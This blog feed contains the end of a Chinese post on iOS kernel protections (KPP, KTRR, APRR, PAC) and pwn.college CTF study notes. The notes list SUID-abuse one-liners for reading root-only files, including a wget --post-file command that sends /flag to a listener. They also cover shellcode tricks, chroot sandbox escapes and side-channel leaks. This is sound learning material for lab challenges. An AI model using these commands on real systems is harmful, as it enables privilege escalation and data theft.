Protection）</strong></p><p>一种纯软件实现的安全机制，主要目标用于检查内核运行时的完整性，代码实现运行在EL3层，用户态代码在EL0层，内核在EL1层。为了增加效率，仅在浮点数计算时调用KPP进行内核完整性检查。FPU（协处理器，用来处理浮点数）</p><ul><li>启动时，将内核代码段与只读内存段进行hash，并禁用FPU执行浮点运算。</li><li>EL0/EL1使用FPU后触发异常，EL1尝试启用FPU，随后进入EL3，在EL3中检查内核代码段和只读段hash是否变化</li><li>IRQ异常时再次进入EL3，禁用FPU</li></ul><img src="/2022/11/18/ios-system-security-framework-study-1/4.png"><p><strong>KPP存在的设计缺陷</strong></p><p>并不阻止篡改内核本身，而是找了一个不太影响性能的入口点去检测完整性（调用FPU指令时），因此造成了两个攻击点。</p><p>攻击点1：</p><ul><li>攻击者可修改内核后立即恢复，大概率不会触发KPP检查（参考盘古越狱iOS 9.3.3）</li><li>KPP依然存在价值，使得攻击变得不那么稳定</li></ul><p>攻击点2：</p><ul><li><a href="https://www.cnblogs.com/liqiuhao/p/9450093.html" target="_blank" rel="noopener">TOCTTOU攻击</a>（Time-of-check to time-of-use）：内核中存在单一KPP检查入口，在入口点前恢复内核，KPP检查完后再次patch内核。</li><li>完美绕过KPP（Luca Todesco iOS 10.1.2越狱）</li></ul><p>思考：如果将KPP检查点放在IRQ异常而不是调用FPU异常，是否效果会更好？</p><p>有没有办法在篡改发生时就阻止，而不是主动/定时检测？苹果的答案就是KTRR</p><p><strong>KTRR（Kernel Text Readonly Region）</strong></p><p>希望能从硬件层面阻止篡改内核代码段和只读段的一切尝试，KPP被彻底放弃。</p><p>硬件实现（作用于MMU和IOMMU）</p><ul><li>设计了三个系统寄存器<ul><li>ROR Base：只读可执行物理地址起始</li><li>ROR End：只读可执行物理地址结束</li><li>ROR Lock：KTRR启用</li></ul></li><li>需要修改内核物理内存布局，将只读可执行的内容放在一起，不能和读写内存交替</li></ul><p>效果：几乎不可绕过（曾经出现过两次公开绕过案例，苹果快速修补）内核只读段在运行时无法被修改，内核shellcode无法实现，ROP成为内核代码执行的唯一攻击路径。</p><p>对抗：攻击者使用Patch读写数据段来代替Patch内核，达到相同或者类似的效果</p><p>苹果的应对：将更多读写段数据移到只读段，但是存在巨大困难点。1）很多数据在系统启动后还是有需求去改写，即便没有需求，也无法在系统启动的前期完成初始化；2）非ARM标准，后期维护困难。</p><p>KTRR的缺陷：</p><ul><li>对于只读数据的保护，只能覆盖到系统早期启动（MMU初始化前）时能确定下来的内容</li><li>一些后期有需求修改，又是十分重要的数据，无法保护，无法处理Data only attack</li></ul><p>为了解决KTRR的问题，苹果提出了APRR，一个新的硬件特性。</p><p><strong>APRR（<a href="https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1" target="_blank" rel="noopener">Access Permission Restriction Register</a>）</strong></p><p>APRR保护</p><ul><li>页表</li><li>cdhash（代码签名白名单）</li><li>Code Directory Blob（进程Entitlement权限相关属性）</li></ul><p>APRR实现原理</p><ul><li>将关键数据所在的页表项做了特殊标记，这些数据只有特定的代码段才有权限进行读写等操作</li><li>这些代码段所在地址形成一个bitmap，存在一个苹果自定义的寄存器中</li><li>设置bitmap的gadget仅存在于PPLTRAMP段的第一个页中</li></ul><p>效果：</p><ul><li>关键数据仅有PPLTRAMP段的第一个页作为入口去访问，并且gadget很有限 -&gt; 缓解Data only attack</li><li>修改关键数据必须先获得CPU执行权限 -&gt; ROP成为唯一的攻击方法</li></ul><h3 id="PAC"><a href="#PAC" class="headerlink" title="PAC"></a>PAC</h3><p>PAC（Pointer Authentication Code）：ARM v8.3的新特性。PAC属于自底向上+封锁关键路径的思路。实现原理：</p><ul><li>利用arm64 64位指针高位冗余特性，对内存中的关键指针加上认证信息</li><li>在指针被解引用或者当做控制流跳转目的地址前校验指针的完整性</li></ul><img src="/2022/11/18/ios-system-security-framework-study-1/5.png"><p>PAC的执行流程：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">                +-----------+----------------------------------+</span><br><span class="line">                | len = 25  |           len = 39               |</span><br><span class="line">                +----------------------------------------------+</span><br><span class="line">                |           |                                  |</span><br><span class="line">                |           |      pointer                     |</span><br><span class="line">                |           |                                  |</span><br><span class="line">                +-----------+----------+-----------------------+</span><br><span class="line">                                       |</span><br><span class="line">                                       |</span><br><span class="line">                                       |</span><br><span class="line">                                       |</span><br><span class="line">                                       |                     +------------------+</span><br><span class="line">                                       |                     |                  |</span><br><span class="line">                                       v                     |    APDAKey       |</span><br><span class="line">                          +------------+------------+        |                  |</span><br><span class="line">+----------------+        |                         |        |    APDBKey       |</span><br><span class="line">|                |        |                         |        |                  |</span><br><span class="line">|    modifier    +-------&gt;+   PAC instructions      +&lt;-------+    APIAKey       |</span><br><span class="line">|                |        |                         |        |                  |</span><br><span class="line">+----------------+        |                         |        |    APIBKey       |</span><br><span class="line">                          +------------+------------+        |                  |</span><br><span class="line">                                       |                     |    APGAKey       |</span><br><span class="line">                                       |                     |                  |</span><br><span class="line">                                       |                     |                  |</span><br><span class="line">                                       |                     |                  |</span><br><span class="line">                                       |                     +------------------+</span><br><span class="line">                                       |</span><br><span class="line">                                       |</span><br><span class="line">                                       |</span><br><span class="line">                                       |</span><br><span class="line">                                       v</span><br><span class="line">                 +----------+----------+-----------------------+</span><br><span class="line">                 |          |                                  |</span><br><span class="line">                 | PAC part |       pointer                    |</span><br><span class="line">                 |          |                                  |</span><br><span class="line">                 +----------+----------------------------------+</span><br></pre></td></tr></table></figure><p>一共有五个硬件Key，只能使用无法读取；modifier为一个用户可控的输入内容，最后得到的检验值放在指针前面。</p><p>基于硬件支持实现对指针的完整性保护，Apple芯片遥遥领先业界，从iPhone XS开始，商业化应用PAC。</p><p>iOS12：基于PAC的控制流完整性<br>iOS14：基于PAC的控制流完整性+部分数据指针完整性（重点防护攻击者常用）</p><p>整个安全机制涉及：编译器 + 内核开发 + 攻击手段学习（研究攻击者喜欢的数据指针）</p><p>实现的效果：正向（vptr、vtbl完整性、callback完整性）+ 反向（栈返回地址）的CFI + 部分数据指针保护</p><ul><li>彻底消除了直接控制流劫持的漏洞利用</li><li>极大限制了攻击者内存破坏能力</li></ul><p>现在要攻击iOS，必须要先通过漏洞构造有限地址读写，之后才有机会构造代码执行，并不能直接通过漏洞进行控制流劫持。</p><h3 id="攻击面的变化"><a href="#攻击面的变化" class="headerlink" title="攻击面的变化"></a>攻击面的变化</h3><img src="/2022/11/18/ios-system-security-framework-study-1/6.png"><h3 id="苹果的下一步"><a href="#苹果的下一步" class="headerlink" title="苹果的下一步"></a>苹果的下一步</h3><p>针对用户隐私</p><ul><li>iOS 14.5 启用App Tracking Transparency，强制App公示收集使用的用户信息</li><li>iOS 15将推出“应用隐私报告”和更细粒度的“限制追踪用户”功能</li></ul><p>ARM v8.5</p><ul><li>Memory Tagging</li><li>性能损耗 vs 安全收益</li></ul><h3 id="一些思考"><a href="#一些思考" class="headerlink" title="一些思考"></a>一些思考</h3><p>为什么Apple持续在安全投入？</p><ul><li>系统安全是iOS生态的基石</li><li>系统安全是iOS业务特性的一部分</li><li>系统安全是Apple商业模型的护城河</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>系统安全经过理论探索到原型实践，总结出“隔离+访问控制”的基本架构，但是在个人电脑时代问题频出。</p><p>iOS以可信计算为基础，打造全新的iOS生态，安全成为iOS生态和业务模式的护城河</p><p>随着安全机制不断改进，内存安全迎来拐点</p><p>安全的博弈属性和木桶效应注定对抗不会止步（各类逻辑漏洞开始爆发）</p><p>漏洞防御过程中四大难题</p><ul><li>攻击面多样性</li><li>漏洞多样性</li><li>漏洞利用方法的多样性</li><li>能达到攻击目标的路径的多样性</li></ul><p>三种策略</p><ul><li>从源头上防御：减少漏洞的产生，减少攻击面，增加攻击环节</li><li>封锁关键路径：封锁漏洞触发-&gt;漏洞利用的中间环节</li><li>自底向上：依赖硬件安全特性支撑软件安全</li></ul><h2 id="其他有用资料"><a href="#其他有用资料" class="headerlink" title="其他有用资料"></a>其他有用资料</h2><p>google p0 ios内核漏洞近况 <a href="https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html" target="_blank" rel="noopener">https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;学习完王铁磊大佬在华为的分享视频，记录总结一些有用的内容。还会根据分享的内容再额外补充一些其他相关内容。&lt;/p&gt;
&lt;h2 id=&quot;操作系统的演化与安全发展&quot;&gt;&lt;a href=&quot;#操作系统的演化与安全发展&quot; class=&quot;headerlink&quot; title=&quot;操作系统的演化与
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ios" scheme="https://hurricane618.me/tags/ios/"/>
    
      <category term="安全机制" scheme="https://hurricane618.me/tags/%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B6/"/>
    
  </entry>
  
  <entry>
    <title>pwn.college 学习笔记（1）</title>
    <link href="https://hurricane618.me/2022/05/26/pwn-college-writeup-one/"/>
    <id>https://hurricane618.me/2022/05/26/pwn-college-writeup-one/</id>
    <published>2022-05-26T12:14:01.000Z</published>
    <updated>2022-05-26T12:16:15.934Z</updated>
    
    <content type="html"><![CDATA[<img src="/2022/05/26/pwn-college-writeup-one/1.png"><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>之前一段时间找到了<code>pwn.college</code>这个网站，发现里面的模块划分的十分详细，题目也简单容易上手，非常适合我这种菜鸡作为训练题，于是从年前开始一直刷到了现在。中间由于写论文和答辩的事情耽误了很久，到目前为止也只刷完了一半的模块，为了巩固学到的一些内容，将其整理成学习笔记的方式，也欢迎各位师傅一起讨论。最后之所以不把具体的题解放出来，一是因为其中有很多题目都是举一反三的性质，全部写出来会显得很啰嗦；二是因为该网站的创始人说尽量不要在网上公开writeup，这个是他们的课程练习网站。综上，我只在这里记录题目中的关键思路和学到的知识点。</p><h2 id="module1-程序IO交互模块"><a href="#module1-程序IO交互模块" class="headerlink" title="module1 程序IO交互模块"></a>module1 程序IO交互模块</h2><h3 id="命令行与shell"><a href="#命令行与shell" class="headerlink" title="命令行与shell"></a>命令行与shell</h3><p><code>env xxx -i</code> 能够以<code>-i</code>后面的参数为环境变量执行xxx程序，是一个能快速修改执行程序环境变量的方法。</p><p>level36：一开始理解错了题目的意思，搞了半天没想到直接用命令行的管道<code>|</code>就解决了。。。</p><p>linux shell中的利用管道控制程序的输入即为在管道的左侧，比如，<code>xxxx | /program</code>，控制程序的输出即为管道右侧，比如<code>/program | xxxx</code>。如果进程很快就结束了，有个trick是读取大文件拖延读取的速度，使得check能够正常进行，而不会因为前面的进程执行太快导致check失败。（针对rev程序）</p><p>level66：本来想的是用find的exec选项使用<code>ld-linux-x86-64.so.2</code>加载二进制执行，结果有权限的问题。最后这样成功执行 <code>find /challenge -name &quot;embryoio_level66&quot; -type f -exec {} \;</code>。</p><p>level72：可以直接用fd号在shell中进行文件句柄的重定向。</p><p>level88、89：从shell脚本控制<code>argv[0]</code>的骚操作。一个是利用软连接，<code>ln -s /challenge/embryoio_level88 /tmp/zxygjb</code>，这样执行<code>/tmp/zxygjb</code>就能变成执行<code>/challenge/embryoio_level88</code>，但是它的<code>argc[0]</code>是<code>/tmp/zxygjb</code>。另外一个是控制<code>PATH</code>环境变量，让<code>/tmp</code>加入<code>PATH</code>中，这样直接执行<code>zxygjb</code>即可，这样就利用shell完成了对<code>argv[0]</code>的控制。</p><p>level90：shell中的文件管道的使用，比较有意思的一点是向管道写数据必须用<code>&gt;</code>，从管道读数据时必须用<code>&lt;</code>。还有一点是写管道的时候必须要用<code>&amp;</code>把进程挂到后台。<code>echo &quot;smctvvbb&quot; &gt;  myfifo &amp;; /challenge/embryoio_level90 0&lt;myfifo</code></p><p>level93：完全不知道怎么先把管道中的内容输出出来，再输入数据。最后参考了群中师傅的思路，<code>cat outfifo &amp;; cat &gt; infifo;</code>这样就可以先获得输出的内容，再利用<code>cat</code>输入什么输出什么的特点向管道中写数据。</p><p>level97：使用<code>kill -signum pid</code>可以发送指定的信号给指定的进程。</p><p>level140：<code>/dev/tcp/IP/Port</code>访问这个文件即可获得与IP:Port通信交互的能力。然而这道题必须要用shell脚本来建立tcp连接，真是恶心🤢。我看到的一个writeup中有一个骚操作，那就是把python3.8改成bash就能绕过检查，笑死🤣。</p><h3 id="C"><a href="#C" class="headerlink" title="C"></a>C</h3><p>用C语言程序实现stdin和stdout的重定向，需要利用dup2重新设置文件描述符的指向。语法<code>dup2(fd, 0);</code>，这里的意思就是拿fd文件描述符替换标准输入，这样fd内的数据就会被当做程序的输入。</p><p>level60：终于来到了拿C语言写管道的阶段，这里有点坑的地方在于需要开两个子进程，一个子进程拿来执行level程序，另外一个拿来执行cat程序，现在想想好像和python的也是一样的，都是必须要生成两个子进程去处理。</p><p>level69：规定必须要用bash，但是不一定必须要从shell中执行，也可以是其他程序调用命令执行函数执行程序，随后用shell调用该程序，这样就能更细粒度的控制程序，比如这道题能够用C语言的<code>execve</code>执行程序且argv为空。很神奇是吧，如果是shell必然不可能为空。最后，shell -&gt; C程序 -&gt; challenge。</p><p>level73：可以使用<code>chdir</code>改变工作目录，这样配合shell脚本可以制造出父进程和子进程的工作目录不一样。</p><h3 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h3><p>level48：使用pwntools的process执行进程并用管道通信时会出现错误，而使用subprocess则没有问题，这是很神奇的地方。最后写在一个脚本文件中，在ipython里<code>%run xxx.py</code>执行脚本，即可获得flag。另外一种执行的方式是把所有语句都写成一行，通过<code>;</code>进行分割。</p><p>level54：我用level48的脚本去处理结果发现它的checker每次检查都是<code>docker-init</code>，不太懂为啥会变成docker的子进程了，脚本上一层的python去哪里了，不会是因为执行太快的原因？最后采用完整的管道通信解决了这个问题。</p><p>level75：让我知道了python脚本也是没有办法使得argv为空执行程序的，C语言真的强，可控制能力无敌。整活小能手！</p><p>level76：还是一样的发现python脚本的env名称竟然也不能设置成数字，C语言无敌。</p><p>level103：没想到管道文件必须要同时有一个进程读，一个进程写才能继续往下执行，否则会一直阻塞。而且不能把进程用<code>&amp;</code>挂在后台。。。真是无语，挂在后台之后进程会处于stop状态，因此我的方法是开两个ssh连接，一边开一个python脚本，一个脚本写一个脚本读且作为stdin输入。</p><p>level106：打开管道文件之后要从里面读数据不能用<code>read()</code>或者<code>readlines()</code>，也不知道为啥，可能是因为管道文件永远没有尽头？只能使用<code>read(size)</code>和<code>readline()</code>的方式读。</p><p>level107：要打开191的文件描述符，从这里我发现可以直接用<code>os.dup2(0,191)</code>。即可过check，然后通过<code>process(&quot;/challenge/embryoio_level107&quot;, close_fds=False)</code>启动进程，再接收数据输入密码即可通过。</p><p>level109：一道神奇的题目，需要从stdout中读数据，那么原来的stdout怎么办呢？答案是使用sys.stdin强行读取输入并将输入传给stdout。<code>p1 = process(&quot;/challenge/embryoio_level109&quot;, stdout=sys.stdin)</code>。这里一开始没想到能成功，sys能强行读取shell中获得的输入数据，所以就算看不见实际上还是传输给了stdout。而如果只是打开某个文件，因为只是单向通道，所以这道题是怎么样都过不了的，毕竟又要读又要写必须是双向才行。</p><p>level128：需要输入500个signal，肯定要用脚本，这里有个问题就是一开始我是一个一个信号的recv，然而最后进程崩掉了，我想估计是缓冲区的内容太多了，所以现在都是一口气接收所有的signal，然后发送一个recv一下，这样保证缓冲区不会多到崩掉进程。</p><p>level142：要手写C语言的网络通信，其中的<code>write</code>刚开始sb了，长度参数用的<code>sizeof(buf)</code>，这个直接导致写入了一些非法字符，应该是<code>strlen(buf)</code>才对。</p><p>收获最大的就是万物皆可拿pwntools做进程的IO控制，是真的方便，虽然题目要求要用C语言之类的，但你可以在启动题目上用C语言程序启动，然后拿pwntools控制这个C语言程序的IO，与原来相比中间多嵌套一层程序启动。</p><h2 id="module2-程序误用模块"><a href="#module2-程序误用模块" class="headerlink" title="module2 程序误用模块"></a>module2 程序误用模块</h2><p>寻找具有SUID权限的程序</p><ul><li><code>find / -user root -perm -4000 -print 2&gt;/dev/null</code></li><li><code>find / -perm -u=s -type f 2&gt;/dev/null</code></li><li><code>find / -user root -perm -4000-exec ls -ldb {} ;</code></li></ul><p>对于一些做数据操作的命令，可以先对flag文件做操作，之后再进行逆操作查看原始数据获得flag。比如：<code>bzip2 -c /flag | bzip2 -d</code>。</p><p>对于<code>zip</code>和<code>unzip</code>压缩和解压是分开的程序，首先用zip压缩flag文件，然后unzip解压文件并输出内容。</p><p><code>tar -cvf h618.tar /flag;tar xf h618.tar -O</code>，这还是延续压缩+解压的思路。在网上看到另外一个利用<code>-I</code>执行额外程序的方法获得flag。<code>tar xf /flag -I &#39;/bin/sh -c &quot;cat 1&gt;&amp;2&quot;&#39;</code>。</p><p><code>ar -q h618.ar /flag;cat h618.ar</code>。能够直接从里面读取原始数据，看起来ar更像是一个整合数据的程序，没有对内容做压缩处理。</p><p><code>echo &quot;/flag&quot; | cpio -o</code>，cpio命令必须从管道把需要打包文件的字符串传递进去。</p><p><code>genisoimage -sort /flag</code>这个神奇的地方在于，虽然因为格式问题而报错了，但是却把flag的内容输出出来。</p><p><code>find /flag -exec cat {} \;</code>，find寻找到文件之后可以执行一些操作。</p><p><code>setarch x86_64 cat /flag</code></p><p><a href="https://www.hi-linux.com/posts/61543.html" target="_blank" rel="noopener">https://www.hi-linux.com/posts/61543.html</a> socat入门教程 挺好的，<code>socat - /flag</code>能直接读文件内容。</p><p><code>whiptail --textbox /flag 10 60</code>，一个shell窗口程序。</p><p>awk sed这种专门处理输入输出的程序直接随便写</p><p>ed编辑器 直接<code>ed /flag</code> 然后输入p，打印数据</p><p>level37直接给了chown的权限，那无敌了，直接改文件的所属用户后可以随便读写。</p><p><code>cp /flag /dev/stdout</code>，这个很绝！利用linux里面的输出设备文件打印数据。</p><p><code>mv /usr/bin/cat /usr/bin/mv;执行程序;mv /flag</code>，mv同样也是很骚的操作，因为这个指令本身不能输出所以必须要想办法操作别的文件，先把cat拷贝到mv的位置上，再给假的mv上特权位，最后读取flag。</p><p><code>perl -ne print /flag</code>，参考神仙网站<a href="https://gtfobins.github.io/gtfobins/perl/" target="_blank" rel="noopener">https://gtfobins.github.io/gtfobins/perl/</a></p><p><code>python -c &#39;print(open(&quot;/flag&quot;).read())&#39;</code></p><p>没想到ruby直接用命令行会有安全警告，只能写脚本执行文件读取。</p><p><code>bash -p</code>，获得root权限</p><p><code>date -f /flag</code>，直接报错输出文件中的内容</p><p><code>gcc -E -x c /flag</code>，这里gcc必须要指定语言才能预编译。</p><p><code>wget --post-file=/flag http://127.0.0.1:8088</code>。有点坑，使用wget的-I参数读取文件中的内容时，报错输出会强制转换成小写字母。</p><p><code>ssh-keygen</code>能用-D参数加载动态库执行代码。直接写一个ORW的动态库去读flag。</p><h3 id="module2-小总结"><a href="#module2-小总结" class="headerlink" title="module2 小总结"></a>module2 小总结</h3><p>思路一：利用程序自身的输出功能<br>思路二：利用程序可以执行外部命令的功能<br>思路三：利用程序伪造某个路径中的文件，然后该文件能够以root权限执行<br>思路四：利用程序读文件报错输出信息<br>思路五：利用程序执行脚本的功能编写读文件操作</p><h2 id="module3-汇编模块"><a href="#module3-汇编模块" class="headerlink" title="module3 汇编模块"></a>module3 汇编模块</h2><p>注意这系列的题必须以send的方式输入，如果末尾存在<code>\x0a</code>，会继续读下一条指令，结果又无法读，导致错误。虽然我一开始使用滑板指令填充绕过了，但这种操作还是有点蠢。。</p><p><code>python /challenge/debug.py x</code>，x为level的数字，这样可以调试不同level的程序，能够清晰的看到汇编执行之后寄存器的结果和栈的变化，做的很nice！</p><p>gcc的汇编器使用<code>gcc -nostdlib -static exit.s -o exit</code>。objdump输出文件的汇编。<code>objdump -M intel -d exit.elf</code></p><p>level5：有点搞笑的地方，这道题考点是取余，我直接随机到一个<code>mod1</code>，什么都不用输直接拿到flag，这波啊，这波是强运拿flag。</p><p>level17：这里的<code>jmp 0x51</code>中的数字是间接跳转的偏移而不是相对当前地址的偏移。还有就是pwntools的汇编函数无法直接对这条语句做汇编转二进制，因此我是直接用的<code>\xeb\x51</code>。<code>\xeb</code>是相对跳转的op操作码。</p><p>level19：写跳转表的题目</p><p>level20：题目描述有问题。。。说要4字的数据，其实只有2字数据相加。。所以每次间隔4字节，累加到rax中再除就ok了。循环是需要有两个jmp指令来控制的，一个jmp控制条件，一个jmp控制循环体结束之后返回到条件判断处。</p><p>level21：调了快一个小时终于过了。细节点：在调用函数的时候x64函数规约是要从rdi传参数，所以需要保存数据到栈上，调用之后再恢复。同样的原因，rax是返回值的目标寄存器，因此也需要保存到栈上。第二个细节点在于cmp，cmp是第一个参数减去第二个参数产生的结果来设置标记位，一定要记住是第一个参数减第二个参数。第三个细节点，写的是一个函数所以末尾一定要有ret指令。第四个细节点，它说明的逻辑必须全部实现，它会有多套数据去检测逻辑。</p><p>level23：又是调了好久。。。最好用上r8，r9这些寄存器，这样能方便很多，不用通过栈去保存寄存器的值。最后因为一个判断条件卡了很久，它有一组数据是有数量相同的情况，这时应该是保留前面较小的值，有一个技巧是cmp的条件可以根据比较的数据的位置直接一一对应，如果是相反的位置可以对比较符号直接取反。</p><h2 id="module4-shellcode模块"><a href="#module4-shellcode模块" class="headerlink" title="module4 shellcode模块"></a>module4 shellcode模块</h2><p>调试shellcode的方法有2个：</p><ol><li>直接用汇编写成<code>.s</code>的汇编文件，用gcc编译之后拿gdb调试或者strace追踪</li><li>写一个shellcode的loader程序，输入shellcode的raw数据进去后直接调用执行</li></ol><p>调试shellcode技巧与注意事项：</p><ol><li>可以自己加硬编码断点int3</li><li>异架构的shellcode可使用qemu执行，-strace能追踪，-g可以调试</li><li>某些libc函数会吞特殊字符，比如空格，换行，空字符。</li><li>注意当某条指令出现bad字符时可以等效替换成其他指令来避免</li><li>当条件限制过多的时候可以分阶段注入shellcode，先写一个小shellcode，通过小shellcode写入更多shellcode并执行</li><li>如果你的shellcode会因为不可抗力被修改，可以反复调试跳过这部分，或者利用这种修改去构造shellcode</li><li>可以使用mprotect系统调用去修改内存页的读写执行权限，达到执行shellcode的目的</li><li>JIT功能通常为了速度会保留可写+可执行的内存页，这天然适合shellcode的执行</li><li>利用nop<code>\x90</code>滑板指令来解决地址随机的问题，这样我们跳到一个较低地址后能直接滑到最终的shellcode</li></ol><p>level1-3：level1是orw的shellcode去读flag，重在一个经典。刚开始一直以为是要返回一个shell，搞了半天结果发现权限不够，折腾之后知道了必须是<code>bash -p /bin/sh</code>。level2是滑板指令的运用。level3是ban了0x00。</p><p>level4：ban了0x48。这个稍微麻烦一点，因为操作rax、rbx等通用寄存器时会产生0x48，但在测试的时候发现这个对r8、r9等寄存器没有限制，而这些寄存器的操作不会产生0x48。</p><p>level5-6：level5卡了有点久，既然无法用实时去改指令的方法，那么采用在栈上改数据然后跳过去的方法。这道题简直是究极折磨。level6直接在前面插入0x1000的nop即可。</p><p>level7：把输入输出全关了，尝试写文件来获得结果。结果我自己测试的shellcode是完全没有问题，但不知道为啥在实际运行的时候就是有问题。。百思不得其解。最后搜索一番，发现有chmod大法，直接改flag的权限，感觉这个方法是能够通杀的。</p><p>level8：题目要求shellcode只能有0x12字节，肯定不能是完整的shellcode，应该是要两段才能完成。但发现怎么弄都不行。。。最后还是用chmod做的，不过要对shellcode做一定程度上的缩减。最后用固定的地址去获取flag字符串的位置，没想到成功了，这里flag末尾的<code>\x00</code>可以不用传输过去，默认空间中都是0。最终执行<code>chmod(&quot;/flag&quot;, 4)</code>，改成我们可读的文件权限即可。</p><p>level9：题目在每10字节后插入10字节的0xcc，直接拿上面的shellcode魔改一下，中间间隔的10字节用nop填充。</p><p>level10-12：level10会对每8字节用冒泡排序处理。有点奇怪。。。感觉没什么用直接拿level8的就过了。level11关闭stdin，意味着不能进行二段shellcode注入，然而我直接一段就好了🤣。level12要求shellcode字符必须独立，还是用的前面的shellcode直接通杀。</p><p>level13：题目要求12字节的shellcode。。。我的天，意味着原来的利用chmod的思路不行了。这里需要结合软连接来做，先把/flag软连接到本地生成一个字符名的文件，再对这个文件使用chmod，没想到对软连接文件做chmod会直接影响到本体文件。</p><p>level14：题目要求只用6字节的shellcode。这个时候就必须要结合shellcode执行时的具体环境了，在执行时rdx=mmap的地址并且rax=0，这样是可以直接用rdx来代替基地址，且能直接调用read再次读入shellcode。</p><p>在研究的时候发现一个神奇的指令<code>cdq</code>，可以使得rdx=0，以后可以在写shellcode的时候用到。</p><h2 id="module5-沙箱逃逸模块"><a href="#module5-沙箱逃逸模块" class="headerlink" title="module5 沙箱逃逸模块"></a>module5 沙箱逃逸模块</h2><p>level1-2：level1直接路径穿越拿到flag。level2要写shellcode，使用shellcode的<code>chroot(&quot;../../&quot;)</code>实现根目录转移突破沙箱，再读flag。</p><p>level3：通过<code>..</code>跳出目录的方法似乎不行了，估计是把<code>..</code>禁止了。然后想到利用软连接，在第一次文件打开时开启正确的flag，结果也不行。。。最后的思路是创建一个子目录，然后chroot进去就能把之前的chroot刷新掉，因为linux内核只维护一个chroot，所以之后再利用老办法读flag即可。</p><p>level4-7：通过这道题又学到新的操作了，这里的shellcode只能使用openat、write、read、sendfile，既然出现了openat，去查了这个函数的功能发现配合之前的程序启动时的open可以对沙箱外的文件做读操作。<code>/challenge/babyjail_level4 /</code>，打开根目录之后直接用openat来打开flag。level5也是类似的，不过有了linkat，必须要把flag连接到tmp的沙箱中。level6和level7的思路和上面很雷同。</p><p>level8：这道题比较有意思，它没有额外打开沙箱之外的文件描述符，那么该怎么绕过呢。翻了群里面的消息之后发现，可以利用父进程打开fd，然后fork出子进程去执行程序。构造一个C语言写的封装器去执行程序，这样fork就能带上父进程的fd。看了某个其他人的做法，有点厉害，直接在shell中传文件描述符。<code>/challenge/babyjail_level8 0 &lt; shellcode-raw 3&lt;/</code></p><p>level9：这道题没有限制在某个目录，而限制了syscall只能为<code>close</code>、<code>stat</code>、<code>fstat</code>、<code>lstat</code>。一开始对那个32位的限制摸不着头脑，原来是32位的系统调用可以执行的意思。。。只能执行32位的系统调用造成一些麻烦，比如我在用rsp当做字符串地址传参数时地址会超过4字节，导致最后系统调用打开文件失败。这里学到的小技巧是用汇编的标记，配合<code>lea</code>指令去获得字符串地址。</p><p>level10：这道题只有read和exit两个syscall可以用。似乎只能read数据到固定地址上，然后cmp去逐一比较，但后来想到exit是能外带数据的，把读入的内容当做退出的返回值就能逐字节泄露flag。(发现一点神奇的地方在于exit只会读寄存器的最低字节的内容，所以直接向rdi传数据也只读取最低一字节为返回值)</p><p>level11：这道题只有read和nanotime可以用，看来这次是要使用延时的方法爆破flag内容了。nanotime调用的参数必须要是指针，这点需要注意一下。比较核心的汇编是一段比较数据的操作。</p><p>level12：这道题进一步对syscall做了限制，只能使用read。那么看来要做二分判断必须全部采用汇编的操作实现。这里有两种思路，其一是利用汇编执行复杂的任务造成执行延时，其二是造成死循环来延时。复杂任务暂时不知道该如何写汇编。。因此这里直接写成死循环去判断。其中如果触发了死循环，可以通过限制recv的timeout来辅助判断，如果是循环中肯定会因为timeout限制超时，因此计算时间间隔可以判断是否存在超时现象，存在的话就代表成功触发。</p><p>level13：这题在fork出子进程中执行shellcode，且只有read、write、exit可以使用。刚开始一头雾水，不知道是什么意思，在阅读完源代码之后发现是需要控制子进程发送指令父进程，父进程解析指令并执行，而这个交互的过程是通过socket完成。这道题延伸出了两种解题思路，第一种是利用它会提示错误的输入数据，每9字节泄露flag。第二种思路是手动在读取到的flag数据前写入<code>print_msg</code>的字符，然后整个字符串就会成为一条合法指令，直接输出flag内容。</p><h2 id="module6-调试器模块"><a href="#module6-调试器模块" class="headerlink" title="module6 调试器模块"></a>module6 调试器模块</h2><p>没啥好说的直接就是学习gdb的一些操作。</p><p>level1：学习run，start，continue</p><p>level2：学会查看寄存器的值</p><p>level3：学到了<code>set disassembly-flavor intel</code>可以设置成intel的格式。然后查看栈上的数据。</p><p>level4-5：level4学到了display指令，可以在执行完一条语句之后显示内容。比如<code>display/8i $rip</code>，可以在每次执行之后打印8条指令。然后在读输入的位置下断点，观察栈地址上变化的值，其实很容易就能看到在rbp-0x18的位置处写入随机值，然后上面还会有上一次的随机数存在。level5也是类似的，但是题目要求用脚本去执行，我这里偷懒了，直接手动用同样的方法得到flag。</p><p>level6：学到了set修改动态调试中的数据。这里是直接把存储的临时变量改成更大的数字，这样不用做那么多次输入直接进入win。<code>set {int}($rbp-0x1c)=0x3f</code></p><p>level7：这题直接王炸！给了一个方法call，能够直接调用win函数拿到flag。<code>call (void)win()</code></p><h2 id="module7-逆向工程模块"><a href="#module7-逆向工程模块" class="headerlink" title="module7 逆向工程模块"></a>module7 